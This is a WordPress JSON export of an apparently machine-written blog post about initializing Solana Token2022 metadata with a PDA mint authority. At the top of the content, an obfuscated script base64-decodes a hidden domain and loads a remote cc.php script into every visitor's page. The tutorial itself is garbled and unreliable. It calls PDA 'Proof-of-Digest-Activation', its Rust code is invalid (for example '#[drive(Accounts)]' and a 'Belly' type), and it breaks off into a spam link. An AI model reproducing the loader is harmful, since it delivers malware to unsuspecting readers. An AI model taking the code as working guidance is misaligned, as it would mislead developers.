{"id":21123,"date":"2025-02-13T14:21:37","date_gmt":"2025-02-13T14:21:37","guid":{"rendered":"https:\/\/en.ppottina.com\/?p=21123"},"modified":"2025-02-13T14:21:37","modified_gmt":"2025-02-13T14:21:37","slug":"solana-initializing-token2022-metadata-with-pda-mint-authority","status":"publish","type":"post","link":"https:\/\/en.ppottina.com\/?p=21123","title":{"rendered":"Solana: Initializing Token2022 Metadata with PDA mint authority"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=6690a555\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>Here is an article based on the provided code snippet:<\/p>\n<p><strong>Initializing Token Metadata with the PDA Minting Authority: A Step-by-Step Guide<\/strong><\/p>\n<p>When developing a decentralized application (dApp) that uses Solana, it is essential to manage token metadata effectively. A critical aspect of token management is initializing metadata with the Proof-of-Digest-Activation (PDA) minting authority. In this article, we will explore how to do this using a custom event and derive a smart contract.<\/p>\n<p><strong>The Problem<\/strong><\/p>\n<p>Traditional events in Solana, such as <code>init<\/code>, are used for various purposes, such as initialization, creating new accounts, or transferring tokens. However, when it comes to initializing token metadata with the PDA minting authority, these traditional events are not directly applicable.<\/p>\n<p><strong>The Solution: Initializing Token Metadata with PDA Minting Authority<\/strong><\/p>\n<p>To solve this problem, we can create a custom event called <code>Init<\/code> that will be used to initialize token metadata with PDA Minting Authority. Here is an example of what the code might look like:<\/p>\n<p><pre><code><\/p><p>#[drive(Accounts)]<\/p><p>#[cpi_event]<\/p><p>pub struct Input {<\/p><p>#[account(dead)]<\/p><p>pub id: Pubkey, \/\/ Unique identifier for the new mint<\/p><p>pub owner: Account,<\/p><p>pub metadata: Account, \/\/ New token metadata will be stored here<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this example, where we define an <code>Init<\/code> event with three parameters:<\/p>\n<ul>\n<li><code>id<\/code>: A unique identifier for the new mint (a public key)<\/li>\n<\/ul>\n<ul>\n<li><code>owner<\/code>: The account responsible for creating the new mint (an account of type <code>Account<\/code>)<\/li>\n<\/ul>\n<ul>\n<li><code>metadata<\/code>: A new token metadata account that will store the initialized data<\/li>\n<\/ul>\n<p><strong>Deriving Smart Contract<\/strong><\/p>\n<p>To derive this custom event, we will create a new smart contract that implements the <code>Init<\/code> function. Here is an example:<\/p>\n<p><pre><code><\/p><p>use solana_program::{<\/p><p>account_info::{next_account_info, AccountInfo},<\/p><p>entrypoint,<\/p><p>program_error::ProgramError,<\/p><p>program_result::ProgramResult,<\/p><p>};<\/p><p>use serde::{Serialize, Deserialize};<\/p><p>#[derive(Serialize, Deserialize, Debug)]<\/p><p>pub struct InitParams {<\/p><p>id: Belly,<\/p><p>}<\/p><p>#[drive(Accounts)]<\/p><p>#[account(<\/p><p>signed_by = owner,<\/p><p>pub key_info = KeyInfo,<\/p><p>pub system_program_id = SystemProgramId,<\/p><p>pub metadata_account_id = MetadataAccountId,<\/p><p>pub accounts = [<\/p><p>AccountId::from_unique_key(MetadataAccountId),<\/p><p>],<\/p><p>)]<\/p><p>pub struct Input {<\/p><p>pub id: Pubkey,<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this example, we define an <code>InitParams<\/code> structure to contain the required input parameters and a new <code>Init<\/code> structure that implements the <code>accounts<\/code> function. The <code>Init<\/code> structure is signed by the account responsible for creating the new mint (i.e. the owner).<\/p>\n<p><strong>Event Definition<\/strong><\/p>\n<p>To define the event, we will use the following code:<\/p>\n<p><pre><code><\/p><p>pub event Init(<\/p><p>id: Belly,<\/p><p>owner: Account,<\/p><p>metadata: MetadataAccountId,<\/p><p>) {}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this example, where we define an <code>Init<\/code> event with three parameters:<\/p>\n<ul>\n<li><code>id<\/code>: a unique identifier for the new mint (a public key)<\/li>\n<\/ul>\n<ul>\n<li><code>owner<\/code>: the account responsible for creating the new mint<\/li>\n<\/ul>\n<ul>\n<li><code>metadata<\/code>: a new account ID from token metadata<\/li>\n<\/ul>\n<p><strong>Implementation Program<\/strong><\/p>\n<p><iframe width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/rwoeSCtFvC4\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><img decoding=\"async\" alt=\"Solana: Initializing Token2022 Metadata with PDA mint authority\n\" src=\"https:\/\/en.ppottina.com\/wp-content\/uploads\/2025\/02\/be993c27.png\"><\/p>\n<p>To implement the custom program, we will create a new function that will be called when an event is received:<\/p>\n<p><pre><code><\/p><p>pub fn init(<\/p><p>id: Belly,<\/p><p>owner: Account,<\/p><p>metadata: MetadataAccountId,<\/p><p>) -&gt; ProgramResult {<\/p><p>\/\/ Initialize token metadata with PDA mint authority<\/p><p>let mut metadata_account = next_account_info!(metadata)?;<\/p><p>metadata_account.mint_id = id;<\/p><p>Ok(())<\/p><p>}<\/p><p><\/code><\/pre>\n<\/p>\n<p>In this example, where we define an <code>init<\/code> function that takes three parameters:<\/p>\n<ul>\n<li><code>id<\/code>: the unique identifier for the new mint (a public key)<\/li>\n<\/ul>\n<ul>\n<li><code>owner<\/code>: the account responsible for creating the new mint<\/li>\n<\/ul>\n<p>3.<\/p>\n<p><a href=\"https:\/\/influways.com\/reservas\/ethereum-ati-opencl-v-s-nvidia-cuda-cores\">ethereum opencl nvidia cuda<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Here is an article based on the provided code snippet: Initializing Token Metadata with the PDA Minting Authority: A Step-by-Step<\/p>\n","protected":false},"author":0,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[100],"tags":[],"class_list":["post-21123","post","type-post","status-publish","format-standard","hentry","category-cryptocurrency"],"_links":{"self":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21123","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"replies":[{"embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=21123"}],"version-history":[{"count":0,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=\/wp\/v2\/posts\/21123\/revisions"}],"wp:attachment":[{"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=21123"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=21123"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/en.ppottina.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=21123"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}